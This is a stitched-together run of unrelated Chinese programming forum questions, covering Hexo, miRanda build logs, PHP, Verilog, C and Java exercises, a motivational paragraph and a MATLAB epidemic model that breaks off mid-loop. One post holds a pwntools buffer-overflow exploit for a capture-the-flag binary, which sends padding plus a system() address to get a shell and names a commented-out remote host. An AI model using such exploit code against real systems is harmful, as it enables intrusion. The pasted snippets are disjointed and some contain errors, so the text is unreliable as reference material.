在我配饰好后 使用hexo s 时 4000网页一直旋转 git bash 显示INFO  Hexo is running at http://localhost:4000 . Press Ctrl+C to stop. Unhandled rejection Error: ENOENT: no such file or directory, open 'C:\Users\\blogs\themes\next\layout\_partials\header\index.swig'     

女孩子为什么要努力 为了父母年老时让他们过上更好的生活，不为医药费发愁，为了不看任何人的脸色，受到所有人的尊重，为了逛街时，看到自己喜欢的东西，可以不问价格，立即购买，为了去自己所有想去的地方说走就走，为了我选择生活，而不是生活选择我。 爱情易逝 婚姻易碎，所以我日夜兼程追求精神和物质的独立，感情只是生活调味剂，赚钱才是生活的主旋律。如果说你每天都在想着感情的事情只能说你生活过得太顺遂了。 女孩子长大以后是没有家的，你们感情过得顺遂是你家，当你们吵架就不是了。 所以呀，姑娘们，你只管优秀就好，你想要的，岁月都会给你。

$ tar zxvf miRanda-aug2010.tar.gz $ cd miRanda-3.3a/ $ ./configure --prefix=/home/orange/miRanda-3.3a/ 以上这几行命令运行的时候没有报错。 $ sudo make 此后我就看不懂了QWQ make all-recursive make[1]: Entering directory '/home/orange/miRanda-3.3a' Making all in man make[2]: Entering directory '/home/orange/miRanda-3.3a/man' make[2]: Nothing to be done for 'all'. make[2]: Leaving directory '/home/orange/miRanda-3.3a/man' Making all in RNAlib make[2]: Entering directory '/home/orange/miRanda-3.3a/RNAlib' Making all in H make[3]: Entering directory '/home/orange/miRanda-3.3a/RNAlib/H' make[3]: Nothing to be done for 'all'. make[3]: Leaving directory '/home/orange/miRanda-3.3a/RNAlib/H' make[3]: Entering directory '/home/orange/miRanda-3.3a/RNAlib' if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I./H -g -O2 -MT fold_vars.o -MD -MP -MF ".deps/fold_vars.Tpo" -c -o fold_vars.o fold_vars.c; \ then mv -f ".deps/fold_vars.Tpo" ".deps/fold_vars.Po"; else rm -f ".deps/fold_vars.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I./H -g -O2 -MT energy_par.o -MD -MP -MF ".deps/energy_par.Tpo" -c -o energy_par.o energy_par.c; \ then mv -f ".deps/energy_par.Tpo" ".deps/energy_par.Po"; else rm -f ".deps/energy_par.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I./H -g -O2 -MT utils.o -MD -MP -MF ".deps/utils.Tpo" -c -o utils.o utils.c; \ then mv -f ".deps/utils.Tpo" ".deps/utils.Po"; else rm -f ".deps/utils.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I./H -g -O2 -MT fold.o -MD -MP -MF ".deps/fold.Tpo" -c -o fold.o fold.c; \ then mv -f ".deps/fold.Tpo" ".deps/fold.Po"; else rm -f ".deps/fold.Tpo"; exit 1; fi fold.c: In function ‘ML_Energy’: fold.c:1111:63: warning: iteration 8 invokes undefined behavior [-Waggressive-loop-optimizations] for (x = 0; x <= NBPAIRS+1; x++) mlintern[x] = P->MLintern[x]; ~~~~~~~~~~~^~~ fold.c:1111:5: note: within this loop for (x = 0; x <= NBPAIRS+1; x++) mlintern[x] = P->MLintern[x]; ^~~ fold.c:1108:32: warning: iteration 8 invokes undefined behavior [-Waggressive-loop-optimizations] mlintern[x] = P->MLintern[x]-P->MLintern[1]; /* 0 or TerminalAU */ ~~~~~~~~~~~^~~ fold.c:1107:5: note: within this loop for (x = 0; x <= NBPAIRS+1; x++) ^~~ if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I./H -g -O2 -MT params.o -MD -MP -MF ".deps/params.Tpo" -c -o params.o params.c; \ then mv -f ".deps/params.Tpo" ".deps/params.Po"; else rm -f ".deps/params.Tpo"; exit 1; fi rm -f libRNA.a ar cru libRNA.a fold_vars.o energy_par.o utils.o fold.o params.o ar: `u' modifier ignored since `D' is the default (see `U') ranlib libRNA.a make[3]: Leaving directory '/home/orange/miRanda-3.3a/RNAlib' make[2]: Leaving directory '/home/orange/miRanda-3.3a/RNAlib' Making all in src make[2]: Entering directory '/home/orange/miRanda-3.3a/src' if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT miranda.o -MD -MP -MF ".deps/miranda.Tpo" -c -o miranda.o miranda.c; \ then mv -f ".deps/miranda.Tpo" ".deps/miranda.Po"; else rm -f ".deps/miranda.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT output.o -MD -MP -MF ".deps/output.Tpo" -c -o output.o output.c; \ then mv -f ".deps/output.Tpo" ".deps/output.Po"; else rm -f ".deps/output.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT scan.o -MD -MP -MF ".deps/scan.Tpo" -c -o scan.o scan.c; \ then mv -f ".deps/scan.Tpo" ".deps/scan.Po"; else rm -f ".deps/scan.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT seqio.o -MD -MP -MF ".deps/seqio.Tpo" -c -o seqio.o seqio.c; \ then mv -f ".deps/seqio.Tpo" ".deps/seqio.Po"; else rm -f ".deps/seqio.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT swat.o -MD -MP -MF ".deps/swat.Tpo" -c -o swat.o swat.c; \ then mv -f ".deps/swat.Tpo" ".deps/swat.Po"; else rm -f ".deps/swat.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT pairs.o -MD -MP -MF ".deps/pairs.Tpo" -c -o pairs.o pairs.c; \ then mv -f ".deps/pairs.Tpo" ".deps/pairs.Po"; else rm -f ".deps/pairs.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT thermo.o -MD -MP -MF ".deps/thermo.Tpo" -c -o thermo.o thermo.c; \ then mv -f ".deps/thermo.Tpo" ".deps/thermo.Po"; else rm -f ".deps/thermo.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT utils.o -MD -MP -MF ".deps/utils.Tpo" -c -o utils.o utils.c; \ then mv -f ".deps/utils.Tpo" ".deps/utils.Po"; else rm -f ".deps/utils.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT ExpString.o -MD -MP -MF ".deps/ExpString.Tpo" -c -o ExpString.o ExpString.c; \ then mv -f ".deps/ExpString.Tpo" ".deps/ExpString.Po"; else rm -f ".deps/ExpString.Tpo"; exit 1; fi gcc -g -O2 -o miranda miranda.o output.o scan.o seqio.o swat.o pairs.o thermo.o utils.o ExpString.o ../RNAlib/libRNA.a -lm -lm make[2]: Leaving directory '/home/orange/miRanda-3.3a/src' make[2]: Entering directory '/home/orange/miRanda-3.3a' make[2]: Leaving directory '/home/orange/miRanda-3.3a' make[1]: Leaving directory '/home/orange/miRanda-3.3a' sudo make install 也无法成功安装。 Making install in man make[1]: Entering directory '/home/orange/miRanda-3.3a/man' make[2]: Entering directory '/home/orange/miRanda-3.3a/man' make[2]: Nothing to be done for 'install-exec-am'. test -z "/home/orange/miRanda-3.3a//share/man/man1" || mkdir -p -- "/home/orange/miRanda-3.3a//share/man/man1" /usr/bin/install -c -m 644 './miranda.1' '/home/orange/miRanda-3.3a//share/man/man1/miranda.1' make[2]: Leaving directory '/home/orange/miRanda-3.3a/man' make[1]: Leaving directory '/home/orange/miRanda-3.3a/man' Making install in RNAlib make[1]: Entering directory '/home/orange/miRanda-3.3a/RNAlib' Making install in H make[2]: Entering directory '/home/orange/miRanda-3.3a/RNAlib/H' make[3]: Entering directory '/home/orange/miRanda-3.3a/RNAlib/H' make[3]: Nothing to be done for 'install-exec-am'. make[3]: Nothing to be done for 'install-data-am'. make[3]: Leaving directory '/home/orange/miRanda-3.3a/RNAlib/H' make[2]: Leaving directory '/home/orange/miRanda-3.3a/RNAlib/H' make[2]: Entering directory '/home/orange/miRanda-3.3a/RNAlib' make[3]: Entering directory '/home/orange/miRanda-3.3a/RNAlib' make[3]: Nothing to be done for 'install-exec-am'. make[3]: Nothing to be done for 'install-data-am'. make[3]: Leaving directory '/home/orange/miRanda-3.3a/RNAlib' make[2]: Leaving directory '/home/orange/miRanda-3.3a/RNAlib' make[1]: Leaving directory '/home/orange/miRanda-3.3a/RNAlib' Making install in src make[1]: Entering directory '/home/orange/miRanda-3.3a/src' make[2]: Entering directory '/home/orange/miRanda-3.3a/src' test -z "/home/orange/miRanda-3.3a//bin" || mkdir -p -- "/home/orange/miRanda-3.3a//bin" /usr/bin/install -c 'miranda' '/home/orange/miRanda-3.3a//bin/miranda' make[2]: Nothing to be done for 'install-data-am'. make[2]: Leaving directory '/home/orange/miRanda-3.3a/src' make[1]: Leaving directory '/home/orange/miRanda-3.3a/src' make[1]: Entering directory '/home/orange/miRanda-3.3a' make[2]: Entering directory '/home/orange/miRanda-3.3a' make[2]: Nothing to be done for 'install-exec-am'. make[2]: Nothing to be done for 'install-data-am'. make[2]: Leaving directory '/home/orange/miRanda-3.3a' make[1]: Leaving directory '/home/orange/miRanda-3.3a'  

在该类中定义两个方法,一个是 getName,用于使用反射机制获得类名称;另一个是抽象方法 getArea ,用来计算图形的面积。(2)创建圆形类 Circle ,继承自 Shape ,并实现抽象方法getArea。在 Circle 类的构造方法中获得了圆形的半径,用于在getArea计算圆形的面积。(3)创建矩形类 Rectangle ,继承自 Shape ,并实现抽象方法 getArea 。在 Rectangle 类的构造方法中获得了矩形的长和宽,用于在 getArea计算矩形的面积。

如下图所示，处理完图形信息后得到一个values值（4*1cell），然后需要把前三行都转成double，其中第二行c1s1怎么转都是错的，求大神指教如何把第二行转成double。  

from pwn import * context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] p = process("./M78") # p = remote("39.96.88.40", 7010) elf = ELF("./M78") system_addr = 0x8049202 p.recvuntil("Your choice?") p.sendline("1") p.recvuntil("Please choose a building") p.send("lxonz") p.recvuntil("Please input the password") payload = 'a' * 28 + p32(system_addr) payload = payload.ljust(0x107, 'a') gdb.attach(p) p.send(payload) p.recvuntil("Enjoy it~") p.interactive()  

具体代码应该如何实现 <?php $serverName = "localhost"; //数据库服务器地址 $uid = "sa"; //数据库用户名 $pwd = ""; //数据库密码 $connectionInfo = array("UID" => $uid, "PWD" => $pwd, "Database" => "Students"); $conn = sqlsrv_connect($serverName, $connectionInfo); if ($conn == false) { echo "连接失败！"; var_dump(sqlsrv_errors()); exit; } else { echo "链接成功"; } ?> 此代码报错 Fatal error: Uncaught Error: Call to undefined function sqlsrv_connect() in D:\phpstudy_pro\WWW\t.php:6 Stack trace: #0 {main} thrown in D:\phpstudy_pro\WWW\t.php on line 6

<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <meta http-equiv="X-UA-Compatible" content="IE=edge">     <meta name="viewport" content="width=device-width, initial-scale=1.0">     <title>Document</title> </head> <body>     <div id="box">         <div>             我是内容             <a href="#">我是链接1</a>             <script type="text/javascript">                 var a=1;                 function b(){ }             </script>             <a href="#">我是链接2</a>             <script type="text/javascript">                 var c=1;                 function d(){ }             </script>         </div>     </div>     <script>         //怎么用正则匹配或者其他方法删除掉<div>标签里面的<script>的脚本包括脚本标签的所有内容     </script> </body> </html>  

[face]emoji:002.png[/face]求大佬帮忙！！！ 声明一个函数,实现从浏览器上输入一个数后,在控制台输出从1到这个数之间的偶数！！

然后读取全国人口数据，在上图的四个部分分别绘制以下图形： （1）东北三省1990和2001年人口的条形图（并列横向）； （2）浙江省、广东省历年人口变化的折线图； （3）1990年、1995年和2001年全国人口的三个箱型图； （4）2001年全国各省市人口的直方图（要求分8个区间）。 评分标准：正确，完整（图的各个要素），美观。

class Bird { virtual void fly(); //birds can fly void travel() { fly(); } //birds travel by flying } class Eagle: public Bird { virtual void fly() {/* implement the flying code here */} } class Penguin: public Bird { virtual void swim(); //penguins can swim } Eagle e(); e.travel(); //OK, eagle can fly Penguin p(); p.travel(); //Error, penguin can't fly  

在这个项目中，你将为你的班级设计一个简单的学生管理系统（SMS）。 1.学生属性信息：学生ID、姓名、年龄、性别、班级 2.短信可显示所有学生信息。 3.短信可以增加一个新学生。 4.短信可删除新学生 5.短信可更新学生信息。 6、短信通过查询学生ID查询学生信息  

哪位大佬知道，我怎么下载到本地之后，我找不到记事本打开的方法，点开就直接跳转页面了。[face]emoji:010.png[/face][face]emoji:010.png[/face][face]emoji:010.png[/face]

数据集结构如上图，想要将一个子集的所有数据（如二图所有acc开头的数据文件视为一个子集bearing1-3）存进一张表，再循环将所有的数据都存进表内。最终获得bearing1-3到bear3-3共11张表。编程语言为python，数据库为sql server2019，求大佬们帮帮忙。

谁知道这是什么原因吗？

老哥懂行吗？运行出问题，得不到想要的结果。

如题，一开始还以为电脑以太网口的问题，试了下电脑用网线连路由器是可以显示以太网连接的，但是连开发板的时候就是网络电缆被拔出。我按照网上一些说法把开发板和路由器连，windows下用arp -a看不到ip地址，还有就是开发板网口的灯只有通电的时候会闪一下，其他时候都是灭的，是不是板子网口出问题了？谢谢大家了！

我被leetcode第一道打蒙了[face]monkey2:025.png[/face]，大佬求救，这是啥bug[face]monkey2:019.png[/face][face]monkey2:019.png[/face][face]monkey:0.gif[/face]

c++编程 新手求助

安装eclipse出现这个错误，找了一圈回答解决不了，求大佬解答[face]emoji:027.png[/face] 这个错误似乎蛮经典的，但是第二行开始我跟别人贴的图就不太一样了 jdk应该没有问题？虽然重装了一次，但是也原原本本的按教程做了删除和安装，logisim也能用了，就是字突然变的好小。

运行runapp.bat找不到javaw是为什么？怎么解决？

已经爬取到了一部电影的几百条评分数据，怎么做图

问题是这样的， 我有一个指纹模块，和一个蓝牙模块，单独使用指纹模块，录指纹的功能是有效的，不会卡死。录指纹的功能实际上就是Stm32通过串口3发送指定格式的数据给AS608模块，返回码为00则执行成功，可以在用蓝牙控制后，就是接受蓝牙数据，触发录指纹函数，在放上手指后，打log发现程序卡死了，卡死在return的地方。

moudle gates( input wire a, input wire b, output wire[5:0] z ); assign z[5]= a&b; assign z[4]= ~(a&b); assign z[3]= a|b; assign z[2]= ~(a|b); assign z[1]= a^b； assign z[0]= a~^b; endmoudle 请问为什么报错呢 quartus软件

求c语言题目！！ 谢谢！ 由计算机随机产生10个0~100之间的整数存入数组a中，并将这些数从小到大排序，然后输入一个整数x，在数组a中查找x，若找到则输出相应的下标，否则输出“未找到”。 具体要求： (1）用选择排序法或冒泡排序法进行排序。 (2)用顺序查找法或折半查找法进行查找。 (3)如果要删除查找到的元素值，如何修改程序?

微信商家码处罚除退款外出资金权限

之前用vue写了一个欢迎界面，然后用php写了后端的处理，但把php文件与vue整合时出现了错误，先是通过el-button跳转到php页面时网页并没有改变，而是进行了php文件的下载，这个我很纳闷。还有在html文件里通过axios访问php提示404 not found 报错截图 文件目录 html文件中访问php的部分代码 getdata() { setInterval(() => { axios.get('/src/assets/php/data.php').then(res => { this.allincome = res.data; }); }, 500) } <form action="/src/php/welcome.php" method="POST" target="fmResult" id="data" name="dataform">  

delta=1/5.2; %1/(1+exp(-c(3))), %%潜伏期 beta=0.0517; %传染率 k=14; %传染参数 q=0.5; %第一阶段隔离率 q2=0.8; %第二阶段隔离率 b=0.1404; %Y→S的转化率 d=0.0056; %Y→H的转化率 m=0.05; %I→H的转化率 gamma=0.0714; %恢复率 S(1)=3.718e+07; %c(1)./(1+exp(-c(3))) E(1)=0; I(1)=0; H(1)=0; R(1)=0; Y(1)=0; ME=[1,0,1,2,0,4,5,11,19,23,2,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数--23天数据 MI=[1,2,1,0,4,4,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; %%2020年1月14日到2月5日的每日累计出现症状的I的数量--23天数据 h1=100; G=repmat(ME,h1,1);GG=repmat(MI,h1,1); %% repmat 把数组转化成矩阵 T=G(:)'; %%2020年1月14日到2月5日的每天从湖北输入的潜伏者E的病例数 TT=GG(:)'; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数 n=length(T); h=0.01; for i=1:23 S(i+1)=(-(beta+q*(1-beta))*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q)*k*beta*E(i)+(1-q)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m*I(i))*h+I(i); H(i+1)=(m*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end for i=23:n S(i+1)=(-((beta+q2*(1-beta))*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q2)*k*beta*E(i)+(1-q2)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m*I(i))*h+I(i); H(i+1)=(m*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q2*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end D(1)=I(1); for j=2:length(ME) D(j)=I((j-1)*h1+1); end yy1=[1,3,4,4,9,13,19,20,25,32,46,56,64,68,73,81,92,97,99,102,108,109,118,119,126,127,128,129,129,130,130,131,131,131,131,132,132,132,132,133,133,133,133,133,133]; figure(2) set(0,'defaultfigurecolor','w') t=1:length(yy1); plot(t,yy1,'b+','LineWidth',2','MarkerSize',4); hold on t1=1:1:23; t2=23:1:46; plot(t1,D(1,1:23),'r--','LineWidth',1.5); hold on plot(t2,D(1,23:46),'black--','LineWidth',1.5); hold on delta=1/5.2; %1/(1+exp(-c(3))), %%潜伏期 beta=0.0517; %传染率 k=14; %传染参数 q=0.5; %第一阶段隔离率 q2=0.8; %第二阶段隔离率 b=0.1404; %Y→S的转化率 d=0.0056; %Y→H的转化率 m=0.05; m2=0.01; %I→H的转化率 gamma=0.0714; %恢复率 S(1)=3.718e+07; %c(1)./(1+exp(-c(3))) E(1)=0; I(1)=0; H(1)=0; R(1)=0; Y(1)=0; ME=[1,0,1,2,0,4,5,11,19,23,2,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数--23天数据 MI=[1,2,1,0,4,4,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; h1=100; G=repmat(ME,h1,1);GG=repmat(MI,h1,1); %% repmat 把数组转化成矩阵 T=G(:)'; %%2020年1月14日到2月5日的每天从湖北输入的潜伏者E的病例数 TT=GG(:)'; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数 n=length(T); h=0.01; for i=1:23 S(i+1)=(-(beta+q*(1-beta)*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q)*k*beta*E(i)+(1-q)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m*I(i))*h+I(i); H(i+1)=(m*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end for i=23:n S(i+1)=(-(beta+q2*(1-beta)*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q2)*k*beta*E(i)+(1-q2)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m2*I(i))*h+I(i); H(i+1)=(m2*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q2*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end M(1)=I(1); for j=2:length(ME) M(j)=I((j-1)*h1+1)-40; end figure(2) set(0,'defaultfigurecolor','w') t2=23:1:46; plot(t2,M(1,23:46),'green--','LineWidth',1.5); hold on delta=1/5.2; %1/(1+exp(-c(3))), %%潜伏期 beta=0.0517; %传染率 k=14; %传染参数 q=0.5; %第一阶段隔离率 q2=0.8; %第二阶段隔离率 b=0.1404; %Y→S的转化率 d=0.0056; %Y→H的转化率 m=0.05; %I→H的转化率 m3=0.03; gamma=0.0714; %恢复率 S(1)=3.718e+07; %c(1)./(1+exp(-c(3))) E(1)=0; I(1)=0; H(1)=0; R(1)=0; Y(1)=0; ME=[1,0,1,2,0,4,5,11,19,23,2,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数--23天数据 MI=[1,2,1,0,4,4,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; h1=100; G=repmat(ME,h1,1);GG=repmat(MI,h1,1); %% repmat 把数组转化成矩阵 T=G(:)'; %%2020年1月14日到2月5日的每天从湖北输入的潜伏者E的病例数 TT=GG(:)'; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数 n=length(T); h=0.01; for i=1:23 S(i+1)=(-(beta+q*(1-beta)*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q)*k*beta*E(i)+(1-q)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m*I(i))*h+I(i); H(i+1)=(m*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end for i=22:n S(i+1)=(-(beta+q2*(1-beta)*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q2)*k*beta*E(i)+(1-q2)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m3*I(i))*h+I(i); H(i+1)=(m3*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q2*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end N(1)=I(1); for j=2:length(ME) N(j)=I((j-1)*h1+1)-20; end figure(2) t2=23:1:46; plot(t2,N(1,23:46),'y--','LineWidth',1.5); hold on delta=1/5.2; %1/(1+exp(-c(3))), %%潜伏期 beta=0.0517; %传染率 k=14; %传染参数 q=0.5; %第一阶段隔离率 q2=0.8; %第二阶段隔离率 q8=0.9; %第三阶段隔离率 b=0.1404; %Y→S的转化率 d=0.0056; %Y→H的转化率 m=0.05; %I→H的转化率 m4=0.07; gamma=0.0714; %恢复率 S(1)=3.718e+07; %c(1)./(1+exp(-c(3))) E(1)=0; I(1)=0; H(1)=0; R(1)=0; Y(1)=0; ME=[1,0,1,2,0,4,5,11,19,23,2,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数--23天数据 MI=[1,2,1,0,4,4,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; h1=100; G=repmat(ME,h1,1);GG=repmat(MI,h1,1); %% repmat 把数组转化成矩阵 T=G(:)'; %%2020年1月14日到2月5日的每天从湖北输入的潜伏者E的病例数 TT=GG(:)'; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数 n=length(T); h=0.01; for i=1:23 S(i+1)=(-(beta+q*(1-beta)*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q)*k*beta*E(i)+(1-q)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m*I(i))*h+I(i); H(i+1)=(m*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end for i=23:n S(i+1)=(-(beta+q2*(1-beta)*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q2)*k*beta*E(i)+(1-q2)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m4*I(i))*h+I(i); H(i+1)=(m4*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q2*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end O(1)=I(1); for j=2:length(ME) O(j)=I((j-1)*h1+1)+15; end figure(2) t2=23:1:46; plot(t2,O(1,23:46),'m--','LineWidth',1.5); hold on delta=1/5.2; %1/(1+exp(-c(3))), %%潜伏期 beta=0.0517; %传染率 k=14; %传染参数 q=0.5; %第一阶段隔离率 q2=0.8; %第二阶段隔离率 q8=0.9; %第三阶段隔离率 b=0.1404; %Y→S的转化率 d=0.0056; %Y→H的转化率 m=0.05; %I→H的转化率 m5=0.09; gamma=0.0714; %恢复率 S(1)=3.718e+07; %c(1)./(1+exp(-c(3))) E(1)=0; I(1)=0; H(1)=0; R(1)=0; Y(1)=0; ME=[1,0,1,2,0,4,5,11,19,23,2,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数--23天数据 MI=[1,2,1,0,4,4,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; h1=100; G=repmat(ME,h1,1);GG=repmat(MI,h1,1); %% repmat 把数组转化成矩阵 T=G(:)'; %%2020年1月14日到2月5日的每天从湖北输入的潜伏者E的病例数 TT=GG(:)'; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数 n=length(T); h=0.01; for i=1:23 S(i+1)=(-(beta+q*(1-beta)*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q)*k*beta*E(i)+(1-q)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m*I(i))*h+I(i); H(i+1)=(m*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end for i=23:n 